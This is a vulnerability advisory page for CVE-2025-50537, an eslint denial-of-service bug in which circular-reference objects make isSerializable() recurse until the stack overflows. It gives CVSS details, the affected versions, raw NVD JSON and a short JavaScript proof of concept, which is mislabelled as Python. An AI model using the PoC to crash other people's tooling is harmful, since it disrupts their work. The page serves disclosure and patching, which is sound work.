Security Vulnerability Report
中文
CVE-2025-50537 CVSS 5.5 MEDIUM

CVE-2025-50537

Published: 2026-01-26 16:15:58
Last Modified: 2026-02-04 15:11:01

Description

Stack overflow vulnerability in eslint before 9.26.0 when serializing objects with circular references in eslint/lib/shared/serialization.js. The exploit is triggered via the RuleTester.run() method, which validates test cases and checks for duplicates. During validation, the internal function checkDuplicateTestCase() is called, which in turn uses the isSerializable() function for serialization checks. When a circular reference object is passed in, isSerializable() enters infinite recursion, ultimately causing a stack overflow.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openjsf:eslint:*:*:*:*:*:node.js:*:* - VULNERABLE
eslint < 9.26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-50537 PoC - ESLint Stack Overflow via Circular Reference const { RuleTester } = require('eslint'); const rule = require('./rules/example-rule'); // Assume a basic rule exists // Create circular reference object const circularObj = {}; circularObj.self = circularObj; // Create circular reference // Set up RuleTester with the vulnerable configuration const ruleTester = new RuleTester({ languageOptions: { ecmaVersion: 2024 } }); try { // Attempt to run test with circular reference - triggers stack overflow ruleTester.run('example-rule', rule, { valid: [ { code: 'var x = 1;', // Circular reference in meta or options meta: circularObj } ], invalid: [] }); } catch (error) { console.log('Test completed or error:', error.message); } // Alternative minimal PoC using direct isSerializable call if exposed // const { isSerializable } = require('eslint/lib/shared/serialization'); // const circularRef = {}; // circularRef.loop = circularRef; // isSerializable(circularRef); // Triggers infinite recursion

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50537", "sourceIdentifier": "[email protected]", "published": "2026-01-26T16:15:58.330", "lastModified": "2026-02-04T15:11:00.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack overflow vulnerability in eslint before 9.26.0 when serializing objects with circular references in eslint/lib/shared/serialization.js. The exploit is triggered via the RuleTester.run() method, which validates test cases and checks for duplicates. During validation, the internal function checkDuplicateTestCase() is called, which in turn uses the isSerializable() function for serialization checks. When a circular reference object is passed in, isSerializable() enters infinite recursion, ultimately causing a stack overflow."}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de pila en eslint anterior a la 9.26.0 al serializar objetos con referencias circulares en eslint/lib/shared/serialization.js. El exploit se activa a través del método RuleTester.run(), que valida los casos de prueba y busca duplicados. Durante la validación, se llama a la función interna checkDuplicateTestCase(), que a su vez utiliza la función isSerializable() para las comprobaciones de serialización. Cuando se pasa un objeto con referencia circular, isSerializable() entra en recursión infinita, lo que finalmente causa un desbordamiento de pila."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openjsf:eslint:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "9.26.0", "matchCriteriaId": "F7AC358D-8192-4DFC-8039-5C0B0B14E714"}]}]}], "references": [{"url": "https://gist.github.com/lyyffee/2ee1815e5c2da82c05e9838b9bfefbbc", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/eslint/eslint/issues/19646", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}